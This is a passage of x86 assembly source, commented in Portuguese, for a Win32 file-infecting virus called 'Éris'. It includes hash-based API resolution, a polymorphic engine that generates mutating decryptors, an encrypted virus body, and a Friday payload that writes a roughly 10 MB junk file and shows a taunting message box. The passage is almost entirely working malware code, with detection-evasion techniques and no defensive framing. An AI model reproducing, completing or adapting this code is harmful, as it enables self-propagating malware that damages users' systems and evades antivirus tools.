lodsd                                     ; Get DWORD
cmp eax,"EP"                              ; Is there the PE mark?
jnz nopes                                 ; Fail... duh!
add esi,7Ch                               ; ESI = PE header+80h
lodsd                                     ; Look for .idata
push eax
lodsd                                     ; Get size
mov ecx,eax
pop esi
or esi,esi                                ; ESI = 0 ?
jz nopes                                  ; Então vaza pq nao tem IAT...
add esi,dwo [ebp+baseaddr-delta]          ; Normalize

SearchK32:
push esi                                  ; Save ESI in stack
mov esi,[esi+0Ch]                         ; ESI = Ptr to name
add esi,dwo [ebp+baseaddr-delta]          ; Normalize
mov edi,04895FCC3h                        ; CRC of 'KERNEL32'
push 08h                                  ; Size of string
push esi                                  ;
call CRC32                                ; Calculate CRC32
cmp eax,edi                               ;
pop esi                                   ; Restore ESI
jz gotcha                                 ; Was it equal? Damn...
add esi,14h                               ; Get another field
jmp SearchK32                             ; And search again

gotcha:
cmp byte ptr [esi],00h                   ; Is OriginalFirstThunk 0?
jz nopes                                 ; Damn if so...
mov edx,[esi+10h]                        ; Get FirstThunk
add edx,dwo [ebp+baseaddr-delta]         ; Normalize
lodsd                                    ; Get it
or eax,eax                               ; Is it 0?
jz nopes                                 ; Damn...

xchg edx,eax                             ; Get pointer to it
add edx,[ebp+baseaddr-delta]
xor ebx,ebx

loopy:
cmp dword ptr [edx],0h              ; Last RVA?
jz nopes                            ; Damn...
cmp byte ptr  [edx+03h],80h         ; Ordinal?
jz reloop                           ; Damn...
mov edi,[edx]                       ; Get pointer of an imported API
add edi,dwo [ebp+baseaddr-delta]
inc edi
inc edi
mov esi,edi                         ; ESI = EDI
pushad                              ; Save all regs
eosd:
xor al,al
scasb
jnz eosd
sub edi,esi                         ; EDI = API size
dec edi
push edi
push esi
call CRC32
mov [esp+18h],eax                   ; Result in ECX after POPAD
popad
cmp dwo [ebp+FH-delta],ecx          ; Is the CRC32 of this API
jz wegotit                          ; equal as the one we want?

reloop:
inc ebx                             ; If not, loop and search for
add edx,4                           ; another API in the IT
loop loopy

wegotit:
shl ebx,2                           ; Multiply per 4
add ebx,eax                         ; Add FirstThunk
mov eax,[ebx]                       ; EAX = API address
clc                                 ; Clear Carry
db 0B1h                             ; Overlap: avoid STC :)

nopes:
stc                                 ; Set Carry
ret
	
PegaIAT endp

; -----------------------------------------------------------------
;  		   	 Payload
; -----------------------------------------------------------------

Payload proc

sub esp,SZ_SYSTEMTIME      ; Reserva stack...
mov eax,esp                ; EAX = Ponteiro reservado da stack

push eax                   ; Salva EAX!
push eax                   ; Endereço para armazenar SYSTEMTIME
api GetSystemTime          ; Pega system time...
pop eax                    ; Recupera EAX!

add esp,SZ_SYSTEMTIME      ; Libera stack...
movzx edi,[eax.wDayOfWeek] ; EDI = DayOfWeek
sub edi,5                  ; EDI = EDI - 5
jnz payload_fim            ; Nhe.. num é hj :(

sexta_feira:
xor eax,eax          ;
push eax             ;
push eax             ;
push CREATE_NEW      ;
push eax             ;
push eax             ;
push GENERIC_WRITE   ;
call nome_bomba      ;
db "MSBSD.XP .386",0 ; :P
nome_bomba:          ; Poxa tio Bill, cria vergonha nessa cara... rs.
pop ebx              ;
call rnd_ch          ;
mov [ebx+6],al       ;
call rnd_ch          ;
mov [ebx+7],al       ;
call rnd_ch          ;
mov [ebx+8],al       ;
push ebx             ;
api CreateFileA      ;
inc eax              ;
jz sexta_feira       ;
dec eax              ;

mov edi,eax          ; EDI = EAX
xor eax,eax          ; EAX = 0
push PAGE_READWRITE  ; Protect
push MEM_COMMIT_RESERVE ; AllocationType
push 0AFFFFFh        ; Size
push eax             ; Address
api VirtualAlloc
or eax,eax           ; EAX = 0 ?
jz payload_fim       ; Então vaza...
xchg eax,ebx         ;

mov [ebx],marca

push edi            ; [Handle]
xor eax,eax         ; EAX = 0
push MEM_RELEASE    ; FreeType
push eax            ; Size
push ebx            ; Address
push 100000h        ;
call rand           ;
xchg eax,ecx        ;
add ecx,0A00000h    ;
xor eax,eax         ; EAX = 0
push eax            ;
call payload_bwr    ; byteWritten
dd 0                ;
payload_bwr:        ;
push ecx            ; 10mb
push ebx            ; Ponteiro para memoria...
push edi            ; FileHandle
api WriteFile       ; escreve...

api VirtualFree     ; Libera memória...

api CloseHandle     ; Fechar arquivo...

call @@user32        ;
db "USER32",0        ;
@@user32:            ; USER32.DLL
api LoadLibraryA     ; carrega...

push eax             ; Salva eax !

call @@msgbox        ; "MessageBoxA"
db "MessageBoxA",0
@@msgbox:
push eax             ; Handle
api GetProcAddress   ; pega endereço...

xor ebx,ebx                ; EBX = 0
push 10h                   ; MB_ICONERROR
call @@title               ; titulo
db "Éris - by cH4R_",0     ;
@@title:                   ;
call @@text                ; texto
db 22h                     ;
db " Nada é verdadeiro,"   ;
db " tudo é permitido. "   ;
db 22h,0                   ;
@@text:                    ;
push ebx                   ; hWnd
call eax                   ; MessageBoxA

api FreeLibrary  ; Descarrega DLL

payload_fim:
ret              ; Retorna...

rnd_ch:
push 1Ch         ; 28 possibilidades
call rand        ;
add al,40h       ; ASCII - de "@" a "["
ret              ;

Payload endp

; -----------------------------------------------------------------
;  Função que coordena o polimorfismo e a criptografia na infecção
; -----------------------------------------------------------------
; Entrada:
; EAX = Area do arquivo mapeado onde os codigos de criptografia entrarão

Crypt_Poly proc
pushad                     ; Salva registradores...

push eax                   ; Salva EAX
call Cria_Genotipo         ; Cria um genótipo de polimorfismo
pop eax                    ; Recupera EAX
call Cria_Fenotipo         ; Gera um fenótipo baseado no genótipo, obvio...

push edi                   ; Salva EDI
mov ecx,n_Comp             ; ECX = Tamanho do decriptador complexo
push ecx                   ; Salva ECX
lea esi,[ebp+DeCrypt-delta]; ESI = Inicio do decriptador complexo
cld                        ; Direção de ESI
rep movsb                  ; Copia...

pop ecx                    ; Recupera ECX
pop esi                    ; Recupera EDI em ESI
mov eax,[esi-5]            ; EAX = [ESI-5]
cmp al,04h                 ; AL = 4 ?
jnz @@ok                   ; Senão pode pular esta parte...
mov eax,[esi-6]            ; Se é, então lê um pouco mais...
@@ok:                      ;
or al,al                   ;
jz @@sub                   ; É ADD ? Poe SUB
sub al,10h                 ;
jz @@sbb                   ; É ADC ? Poe SBB
sub al,8                   ;
jz @@adc                   ; É SBB ? Poe ADC
sub al,10h                 ;
jz @@add                   ; É SUB ? Poe ADD

@@xor:                     ; Se não foi nada, então é xor.
add al,28h                 ; Deixa como xor mesmo...
jmp @@wr_enc               ;

@@sub:                     ; Muda pra SUB
mov al,28h                 ;
jmp @@wr_enc               ;

@@sbb:                     ; Muda pra SBB
mov al,018h                ;
jmp @@wr_enc               ;

@@adc:                     ; Muda pra ADC
mov al,010h                ;
jmp @@wr_enc               ;

@@add:                     ; Muda pra ADD
xor al,al                  ;

@@wr_enc:                         ;
mov bye [ebp+e_instruc-delta],al  ; Altera instrução
xchg edx,eax                      ; Troca EAX com EDX
mov bye [ebp+e_mod2-delta],bl     ; Poe um modificador
rcl ebx,8                         ; Tem AAA ?
jnc poe_nop                       ;
mov bye [ebp+e_mod1-delta],037h   ; opcode de AAA
jmp rcX_def                       ;
poe_nop:                          ;
mov bye [ebp+e_mod1-delta],090h   ; opcode de NOP
rcX_def:                          ;
rcl ebx,1                         ; RCL ou RCR ?
jnc poe_rcl                       ;
mov bye [ebp+e_rcX-delta],0D8h    ; opcode de RCR
jmp enc_loop                      ;
poe_rcl:                          ;
mov bye [ebp+e_rcX-delta],0D0h    ; opcode de RCL

enc_loop:
nop                         ; nop ou aaa
e_mod1 = byte ptr $-1       ;
xor eax,ecx                 ; xor edx,ecx
e_rcX = byte ptr $+1        ;
rcl eax,0FFh                ; rcl/rcr edx,modificador
e_mod2 = byte ptr $-1       ;
xor bye [esi+ecx-1],al      ; xor [codigo],chave
e_instruc = byte ptr $-4    ;
loop enc_loop               ; loop ;)

popad               ; Recupera regs...
ret                 ; Retorna...

Crypt_Poly endp

; -----------------------------------------------------------------
;        Função que procura uma API na kernel pelo CRC32
; -----------------------------------------------------------------
; Entrada: EAX = CRC32 da API
; Saida: EAX = Endereço da API


AchaAPI proc

pushad               ; Salva todos os registradores

mov ebx,eax          ; EBX = EAX
xor eax,eax          ; EAX = 0

mov esi,[ebp+kernel-delta] ; ESI = Endereço da kernel
mov edi,esi          ; EDI = Endereço da kernel
add esi,[esi+3Ch]    ; ESI = Cabeçalho PE

mov ecx,[esi+78h]    ; Export directory
add ecx,edi          ; Normaliza

mov edx,[ecx].ED_AddressOfFunctions ; Endereço da tabela de RVA das funções
push edx                            ; Salva na stack

mov edx,[ecx].ED_AddressOfOrdinals  ; Endereço da tabela de ordinais
push edx                            ; Salva na stack

mov esi,[ecx].ED_AddressOfNames     ; Endereço da tabela de nomes
add esi,edi                         ; Normaliza

cdq                    ; Zera contador (EDX)
dec edx                ; EDX --

compara:
lodsd                  ; Carrega ESI em EAX
inc edx                ; Incrementa contador...
pushad                 ; Salva registradores...

xor edi,edi            ; EDI = 0
add eax,[ebp+kernel-delta]   ; Normaliza EAX
xchg edi,eax           ; Troca EAX com EDI
mov ecx,edi            ; ECX = EDI (Ponteiro para o nome da API)
tamanho:
scasb                  ; (AL = [EDI]) Eh zero ?
jnz tamanho            ; Se não continua..

sub edi,ecx            ; EDI = EDI - ECX
dec edi                ; EDI--
push edi               ; Arg1 (tamanho da string)
push ecx               ; Arg2 (ponteiro para o código)

call CRC32             ; Calcula CRC32
cmp eax,ebx            ; EBX = EAX ?

popad                  ; Volta com registradores salvos

jz achou_api           ; Se achou pula pra fora daqui

jmp compara            ; Senão achou continua na rotina...

achou_api:
mov eax,[ebp+kernel-delta]; EAX = Kernel base
xchg eax,edx              ; EAX = Contador & EDX = Kernel base
pop esi                   ; ESI = Address Of Ordinals
add esi,edx               ; Normaliza
shl eax,1                 ; EAX = EAX * 2
add eax,esi               ; EAX = Endereço do ordinal da API
xor ecx,ecx               ; ECX = 0
movzx ecx,wod [eax]       ; ECX = Ordinal da API
pop edi                   ; EDI = Address of Functions
shl ecx,2                 ; ECX = ECX * 4
add ecx,edx               ; Normaliza
add ecx,edi               ; ECX = Ponteiro para o endereço da API
mov eax,[ecx]             ; EAX = Endereço da API
add eax,edx               ; Normaliza

achaapi_fim:
mov [esp+STACK_REG._EAX],eax ; EAX na stack = EAX
popad                        ; Recupera todos os registradores
ret                          ; Retorna...

AchaAPI endp

; -----------------------------------------------------------------
;    Lê tabela de kernels, manda checar e retorna kernel base
; -----------------------------------------------------------------
; Saida:
; EBX = Endereço da kernel
; EAX = Boolean (0 = ok, <>0 = erro)

ProcuraKrn proc

push 8                   ; Numero de endereços
call pula_tabela         ; Salta tabela...

dw 077E5h                ; WinXP (PROfessional)  \  NT 5.1 (BSD based ?)
dw 077E6h                ; WinXP (Home Edition)  /

dw 077F0h                ; WinNT/2K \
dw 077EDh                ; WinNT/2K  \  NT 4 based
dw 077E8h                ; WinNT/2K  /
dw 077E0h                ; WinNT/2K /

dw 0BFF6h                ; WinME      \  MS-DOS based ? lol ! :P
dw 0BFF7h                ; Win95/98   /

pula_tabela:
pop esi                  ; ESI = Ponteiro para a tabela
pop ecx                  ; ECX = 8

le_checa:
xor eax,eax              ; EAX = 0
lodsw                    ; Carrega [ESI] em EAX
rol eax,10h              ;
mov ebx,eax              ; EBX = EAX
call ChecaKrn            ; Checa se a kernel está neste endereço...
or eax,eax               ; EAX = 0 ?
jz achou_krn             ; Então achamos, vaza !
loop le_checa            ; Senão checa denovo...

achou_krn:
ret                      ; Retorna...

ProcuraKrn endp

; -----------------------------------------------------------------
;            Checa se a kenel está no endereço dado
; -----------------------------------------------------------------
; Entrada: EAX = Endereço
; Saida: EAX=0 (ok) / EAX<>0 (erro)

ChecaKrn proc

pushad                       ; Salva regs.

pseh <jmp handler2>          ; Instala SEH
cmp wod [eax],"ZM"           ; Tem assinatura MZ ?
jnz handler2                 ; Senão vaza..
add ebx,[eax+3Ch]
cmp wod [ebx],"EP"           ; Tem assinatura PE ?
jnz handler2                 ; Senão vaza..

mov ecx,eax
add eax,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add ecx,[eax.ED_Name]

cmp [ecx],"NREK"             ; É a kernel ?
jnz handler2                 ; Senão vaza...

mov [esp+8+STACK_REG+_EAX],edx ; EAX na stack = 0

handler2:                    ; Exception Handler
rseh                         ; Remove SEH
popad                        ; Recupera regs.
ret                          ; Retorna...

ChecaKrn endp

; -----------------------------------------------------------------
;                     Pega Delta-Offset
; -----------------------------------------------------------------

infec_max db 0FFh      ; Maximo de infecções (1ª geração = FFh, outras = 6)
kernel dd ?            ; Kernel base
baseaddr dd 00400000h  ; Endereço base para o executavel original
busca dd ?             ; Ponteiro para Win32_Find_Data na memoria
SH dd ?                ; SearchHandle
FH dd ?                ; FileHandle
Mem dd ?               ; Ponteiro para mapa do arquivo na memoria
sfc_func dd ?          ; Ponteiro para SfcIsFileProtected
sfc_dll dd ?           ; Ponteiro para a DLL
rndseed dd ?           ; Random seed
host_org db 5 dup (0)  ; Backup do código original do hospedeiro

Delta_Offset proc

call delta             ;
delta:
jmp delta_fim          ; Salta para o fim da rotina...

api_addrs label byte   ; Array de armazenamento de entrypoint de APIs
CloseHandle dd ?
CreateFileA dd ?
CreateMutexA dd ?
FindClose dd ?
FindFirstFileA dd ?
FindNextFileA dd ?
FreeLibrary dd ?
GetCurrentDirectoryA dd ?
GetCurrentProcess dd ?
GetDriveTypeA dd ?
GetFileAttributesA dd ?
GetModuleHandleA dd ?
GetProcAddress dd ?
GetSystemDirectoryA dd ?
GetSystemTime dd ?
GetVersionExA dd ?
GetWindowsDirectoryA dd ?
LoadLibraryA dd ?
ReadFile dd ?
SetCurrentDirectoryA dd ?
SetFileAttributesA dd ?
SetFilePointer dd ?
VirtualAlloc dd ?
VirtualFree dd ?
VirtualProtect dd ?
WriteFile dd ?
WriteProcessMemory dd ?

delta_fim:
pop ebp
ret

Delta_Offset endp

; -----------------------------------------------------------------
;       Calcula CRC32, ajustado do código de Billy Belcebu
; -----------------------------------------------------------------
; Entrada:
; Arg1 = Ponteiro para string
; Arg2 = Tamanho da string
; Saida:
; EAX = CRC32 da String
;
; OBS: Eu sei, esta rotina é incrivelmente lenta e grande, mas não
; quis mudar nada dela, pois seria muito trabalho em cima de um código
; que admito não compreender completamente.

CRC32 proc

pushad          ; Salva regs.

mov esi,[esp+STACK_REGS+4]    ; ESI = Ponteiro para string
mov edi,[esp+STACK_REGS+8]    ; EDI = Tamanho da string

cld             ; D=0 (mostra que ESI deve avançar)
xor ecx,ecx     ;
dec ecx         ; ECX = -1
mov edx,ecx     ; EDX = -1

NextByteCRC:

xor eax,eax     ; EAX = 0
xor ebx,ebx     ; EBX = 0
lodsb           ; Carrega ESI em AL
xor al,cl       ; XOR AL,CL
mov cl,ch       ; CL = CH
mov ch,dl       ; CH = DL
mov dl,dh       ; DL = DH
mov dh,8        ; DH = 8 (8 bits de AL)

NextBitCRC:
shr bx,1        ;
rcr ax,1        ;
jnc NoCRC       ;
xor ax,08320h   ; XOR AX, MAGIC_1
xor bx,0EDB8h   ; XOR BX, MAGIC_2

NoCRC:
dec dh          ; DH--
jnz NextBitCRC  ; Tem mais bits ? Então continua...

xor ecx,eax     ;
xor edx,ebx     ;
dec edi         ; EDI--
jnz NextByteCRC ; Tem mais bytes ? Então continua...

not edx         ;
not ecx         ;
mov eax,edx     ; EAX = EDX
rol eax,10h     ;
mov ax,cx       ; AX = CX

mov [esp.STACK_REG._EAX],eax   ; Muda o EAX na stack..
popad           ; Recupera regs..

ret 8            ; Retorna...

CRC32 endp

; -----------------------------------------------------------------
;     RGBLDE by roy g biv (original code / código original)
; -----------------------------------------------------------------
; Entrada:
; ESI = Ponteiro para o código
; Saida:
; EAX = Tamanho do código

include RGBLDE.inc

; -----------------------------------------------------------------
; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
;
;               ELPE - Éris Low Polymorphic Engine
;
;                          by cH4R_
;
; -----------------------------------------------------------------
; -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

; ---- Cria base para geração de codigo polimorfico ----

Cria_Genotipo proc
; Saida:
; EBX = Genótipo

; Coleta números randomicos e gera um genótipo
push 0FFh     ;
call rand     ;
mov ebx,eax   ;  G0 a G4
rol ebx,8     ;
push eax      ;

push 0FFh     ;
call rand     ;
rcr eax,1     ;  G5
jnc sem_g5    ;
or ebx,1      ;
sem_g5:       ;
rol bl,7      ;

push 5          ;
call rand       ;
push 7          ;
pop ecx         ;
rcl eax,18h     ;
copia_bits:     ;
rcl eax,1       ;  G6 e G7
jnc sem_gen     ;
or ebx,1        ;
sem_gen:        ;
ror bl,1        ;
loop copia_bits ;
rol ebx,8       ;

pop eax       ;
add bl,15     ;
rcr eax,4     ;
adc bl,0      ;  G8
rcr eax,1     ;
adc bl,0      ;
sem_bit:      ;
rol ebx,8     ;

push 0FFh     ;
call rand     ;  G9
mov bl,al     ;

ret    ; Retorna...

Cria_Genotipo endp

; ---- Cria codigo polimorfico ----

Cria_Fenotipo proc
; Entrada:
; EAX = Buffer
; EBX = Genótipo
; Saida:
; EAX = Inicio do codigo mutado
; EDI = Fim do codigo mutado
; EBX = Genótipo
; EDX = Chave de criptografia

push eax         ; Salva EAX
mov edi,eax      ; EDI = EAX

mov eax,0609Ch   ; " PUSHFD / PUSHAD "
stosw            ;

mov eax,ebx      ; EAX = EBX
push 2           ;
pop ecx          ; ECX = 2
rcl eax,4        ;
sbb ecx,0        ;
rcl eax,1        ;
sbb ecx,0        ;
sub edi,ecx      ;
jecxz @prox1     ;
dec ecx          ;
jz @prox0        ;

@inicio_poly:
mov eax,09C90h   ; " NOP / PUSHFD "
stosw            ;

@prox0:
push 6           ;
call rand        ;

call @trash      ;

db 090h,0F8h
db 0FCh,0FDh
db 0F9h,09Eh

@trash:          ;
pop esi          ; ESI = Ponteiro para tabela de opcodes trash
mov al,[esi+eax] ;
mov ah,060h      ; " PUSHAD " + trash
stosw            ;

@prox1:
mov al,0B9h      ; " MOV ECX, n_Comp "
stosb            ;
mov eax,n_Comp   ;
stosd            ;

mov esi,ebx      ; ESI = EBX
rcl esi,1        ;
jc @mod_ecx      ;
jmp @no_mod      ;

@mod_ecx:
sub edi,4        ; EDI - 4
call seed        ;
xchg eax,ecx     ; ECX = Rand
mov eax,n_Comp   ; EAX = n_Comp
rcl esi,1        ;
jnc @add_ou_sub  ;

@xor_ou_or:      ;
rcl esi,1        ;
jc @or_          ;

@xor_:           ;
xor eax,ecx      ;  " MOV ECX,xx / XOR ECX,yy "
stosd            ;
mov ax,0F181h    ;
stosw            ;
mov eax,ecx      ;
stosd            ;
jmp @prox2       ;

@or_:
push eax         ;  " MOV ECX,0 / OR ECX,n_Comp "
xor eax,eax      ;
stosd            ;
mov ax,0C981h    ;
stosw            ;
pop eax          ;
stosd            ;
jmp @prox2

@add_ou_sub:
rcl esi,1
jc @sub_

@add_:
sub eax,ecx      ;  " MOV ECX,xx / ADD ECX,yy "
stosd            ;
mov eax,0C181h   ;
stosw            ;
mov eax,ecx      ;
stosd            ;
jmp @prox2       ;

@sub_:
add eax,ecx      ;  " MOV ECX,xx / SUB ECX,yy "
stosd            ;
mov eax,0E981h   ;
stosw            ;
mov eax,ecx      ;
stosd            ;
jmp @prox2

@no_mod:            ;
mov eax,090F8FCFDh  ;  TRASH
stosd               ;
mov ax,0F990h       ;  TRASH
stosw               ;

@prox2:
mov al,0B8h         ;
stosb               ;  " MOV EAX,chave "
call seed           ;
stosd               ;
push eax            ;

mov al,0E8h         ;
stosb               ;
xor eax,eax         ;
mov esi,ebx         ;  " CALL @delta "
rcl esi,4           ;
adc eax,0           ;
rcl esi,1           ;
adc eax,0           ;
stosd               ;

xchg eax,ecx        ;  " TRASH / TRASH " (ou não...)
jecxz @prox3        ;
@trash_loop:        ;
push 7Fh            ;
call rand           ;
stosb               ;
loop @trash_loop    ;

@prox3:             ;
rcl esi,1           ;
jc @edx_ou_edi      ;

@esi_ou_ebx:        ;
rcl esi,1           ;
jc @ebx             ;

@esi:               ;
mov al,05Eh         ;  " POP ESI "
jmp @escreve0       ;

@ebx:               ;
mov al,05Bh         ;  " POP EBX "
jmp @escreve0       ;

@edx_ou_edi:
rcl esi,1
jc @edx

@edi:               ;
mov al,05Fh         ;  " POP EDI "
jmp @escreve0       ;

@edx:               ;
mov al,05Ah         ;  " POP EDX "

@escreve0:
stosb

push eax            ; Precisaremos saber disso futuramente...

add al,68h          ; (hehe, um truquezinho :P)
mov ah,83h          ;
xchg ah,al          ;
stosw               ;  " ADD (DELTA-REG),(DISTANCIA)-1 "
mov al,bh           ;
dec al              ;
stosb               ;

rcl esi,1           ;
pushfd              ; Precisaremos saber futuramente...
jnc @prox4          ;
mov al,037h         ;  " AAA "
stosb               ;
@prox4:             ;
mov ax,0C133h       ;
stosw               ;  " XOR EAX,ECX "

mov al,0C1h         ;
stosb               ;
rcl esi,1           ;
jnc @rcl_           ;  " RCL EAX,val "
mov al,0D8h         ;
jmp @val            ;
@rcl_:              ;
mov al,0D0h         ;  " RCR EAX,val "
@val:               ;
stosb               ;
mov al,bl           ;
stosb               ;

rcl esi,1           ;
jnc @nao_eh_xor     ;

mov al,030h         ;
jmp @escreve1       ;  " XOR "

@nao_eh_xor:        ;
rcl esi,1           ;
jc @ADC_ou_SBB      ;

@ADD_ou_SUB:        ;
rcl esi,1           ;
jc @2_sub           ;

@2_add:             ;
xor al,al           ;  " ADD "
jmp @escreve1       ;

@2_sub:             ;
mov al,028h         ;  " SUB "
jmp @escreve1       ;

@ADC_ou_SBB:        ;
rcl esi,1           ;
jc @sbb_            ;

@adc_:              ;
mov al,010h         ;  " ADC "
jmp @escreve1       ;

@sbb_:              ;  " SBB "
mov al,018h         ;

@escreve1:
mov ah,04           ;
stosw               ;

@prox_op:
pop ecx             ;  ( POP (REG) é mais rápido do que POPFD )
pop eax             ;
push ecx            ;

sub al,05Ah         ;
jz @2_edx           ;
dec al              ;
jz @2_ebx           ;
sub al,3            ;
jz @2_esi           ;

@2_edi:
mov al,39h          ;  " XXX [ECX+EDI] "
jmp @escreve2       ;

@2_esi:
mov al,31h          ;  " XXX [ECX+ESI] "
jmp @escreve2       ;

@2_ebx:
mov al,19h          ;  " XXX [ECX+EBX] "
jmp @escreve2       ;

@2_edx:
mov al,11h          ;  " XXX [ECX+EDX] "

@escreve2:
stosb               ;

mov ax,0F6E2h       ;  " LOOP (DISTANCIA) "
stosw               ;
popfd               ;
jc @muda_loop       ;
mov al,090h         ;  Se não teve AAA então poe um NOP
stosb               ;
jmp @termina_poly   ;
@muda_loop:         ;
dec bye [edi-1]     ;

@termina_poly:
pop edx             ; Recupera chave...
pop eax             ; Recupera EAX (Endereço do código mutado...)

fim_fen:
ret

Cria_Fenotipo endp

; ---- Randomiza ----

rand:
push edx                       ; Salva EDX...
mov eax,[ebp+rndseed-delta]    ; MOV EAX, SEED
sbb eax,05F38h                 ; SBB EAX, 5F38 ( EAX = EAX - 5F38h - C )
db 0D6h                        ; SALC ( Se C = 0, AL = 0 | Se C = 1, AL= 0FFh )
imul edx                       ; IMUL EAX,EDX ( EAX = EAX * EDX )
xor eax,edx                    ; XOR EAX,EDX
xor [ebp+rndseed-delta],eax    ; XOR SEED, EAX
xor edx,edx                    ; EDX = 0
div dwo [esp+8]                ; EAX = EAX / [ESP-4]  (EDX = Resto)
mov eax,edx                    ; EAX = EDX
pop edx                        ; Recupera EDX...
ret 4                          ; Retorna...

; ---- Gera semente para randomização ----

seed:
push edx                       ; Salva EDX !
rdtsc                          ; RDTSC (pega time-stamp da cpu em EDX:EAX, 586+)
xor edx,esp                    ; XOR EDX,ESP
imul edx                       ; EAX = EAX * EDX
xor eax,edx                    ; XOR EAX,EDX
pop edx                        ; Recupera EDX !
xor [ebp+rndseed-delta],eax    ; XOR SEED, EAX
ret                            ; Retorna...

Area_Fim label byte
; -----------------------------------------------------------------
;               Código que numca será encriptado
; -----------------------------------------------------------------

; -----------------------------------------------------------------
;         Rotina de descriptografia simples (polimorfica)
; -----------------------------------------------------------------
; OBS: Aqui você observa apenas uma "fôrma" para o código do decriptador,
; esta "fôrma" jamais será executada, apenas serviu como base para que
; que eu moldasse o engine de polimorfismo.


S_Dec proc

		    ; trash ou NÃO ?
pushfd              ; PUSHFD ou PUSHAD
		    ; trash ou NÃO ?
pushad              ; PUSHAD ou TRASH

mov ecx,n_Comp      ; ECX = Tamanho da area

xor ecx,012345678h  ; Modificador de ECX
		    ; ADD/XOR/SUB/OR imm32

mov eax,012345678h  ; EAX = Chave 32 bits

call @1             ; CALL [Distancia]
nop                 ; TRASH ou não ?
nop                 ; TRASH ou não ?
@1:                 ;
pop esi             ; POP [REG]
add esi,7Fh         ; ADD [REG],[Distancia entre os codigos]

loop_dec:

aaa                 ; Modificador 1 (AAA) ou não ?
xor eax,ecx         ; Modificador 2 (XOR)

rcl eax,0FFh        ; Modificador 3 (RCL/RCR imm8)

adc [esi+ecx],eax   ; Criptografia ADD/SUB/ADC/SBB/XOR [REG+ECX],EAX

loop loop_dec       ; Loop

S_Dec endp

; -----------------------------------------------------------------
;             Rotina de descriptografia complexa
; -----------------------------------------------------------------

DeCrypt proc

call delta0        ; Delta offset ;)
delta0:            ;
pop ebp            ;

push 07Fh          ; Tamanho do buffer (maximo: 7Fh)
k_tam = byte ptr $-1

push 012345678h    ; Ponteiro para local de dados imutáveis
k_buf = dword ptr $-4

call Hash64        ; Calcula Hash64 em (EAX:EBX)...

mov ecx,n_Area-4   ; ECX = Tamanho da area a ser decriptada

dec_l:
rcl eax,cl         ; RCL EAX,CL
jnc no_dec         ; Bit = 0 ? Não decripta...
xor dwo [ebp+ofs Area+ecx-delta0],eax  ; Decripta...
no_dec:
xor eax,ebx        ; XOR Chave, Modificador
loop dec_l         ; Loop ;D

mov al,6           ; AL = Maximo de infecções sendo executado de um hospedeiro

jmp Eris           ; Executa o virus...

DeCrypt endp

; -----------------------------------------------------------------
;                Calcula Hash64 de uma string
; -----------------------------------------------------------------
; Entrada:
; Arg1 = Ponteiro para string
; Arg2 = Tamanho da string
; Saida:
; EAX = Parte alta do Hash64
; EBX = Parte baixa do Hash64

Hash64 proc

MAGIC equ "CaoS"

mov esi,[esp+4] ; ESI = Ponteiro para string
mov ecx,[esp+8] ; ECX = Tamanho da string

xor eax,eax     ; EAX = 0
cdq             ; EDX = 0
mov ebx,MAGIC   ; EBX = MAGIC
cld             ; D = 0 (mostra a direção em que ESI deve caminhar)

nextByte:
lodsb           ; Carrega ESI em AL, incrementa ESI
mov dl,8        ; DL = 8

nextBit:        ;
rcr al,1        ; RCR AL, 1
sbb ebx,ecx     ; SBB EBX, ECX
xor eax,ebx     ; XOR EAX, EBX
not eax         ; NOT EAX

dec edx         ; EDX--
jnz nextBit     ; Tem bits ainda ? Vamos ao proximo...

rol ebx,cl      ; ROL EBX, CL
dec ecx         ; ECX--
jnz nextByte    ; Tem bytes ainda ? Vamos ao proximo...

div ebx         ; EAX = EAX / EBX
db 0D6h         ; SALC
sub eax,ebx     ; SUB EAX, EBX
rcl eax,0Dh     ; RCL EAX, 0Dh
adc ebx,edx     ; EBX = EBX + EDX + C
not edx         ; NOT EDX
xor eax,edx     ; XOR EAX, EDX

ret 8           ; Retorna...

Hash64 endp

; -----------------------------------------------------------------
;  EOV - EOV - EOV - EOV - EOV - EOV - EOV - EOV - EOV - EOV - EOV
; -----------------------------------------------------------------
Eris_Fim label byte
newsection ends

; -----------------------------------------------------------------
;        Seção de informações adicionais e/ou copyright
; -----------------------------------------------------------------

cpysection segment dword use32 public 'Xtra-NFO'

; Copyright

db CRLF,CRLF
db "Éris - by cH4R_"
db CRLF,CRLF,22h
db "Nada é verdadeiro, tudo é permitido."
db 22h,CRLF,CRLF

; Xtra nfo

db CRLF
db "I love you Djinn, my sweet."
db CRLF,CRLF
db "I love you M'Luccian, my little."
db CRLF,CRLF,0

cpysection ends

end inicio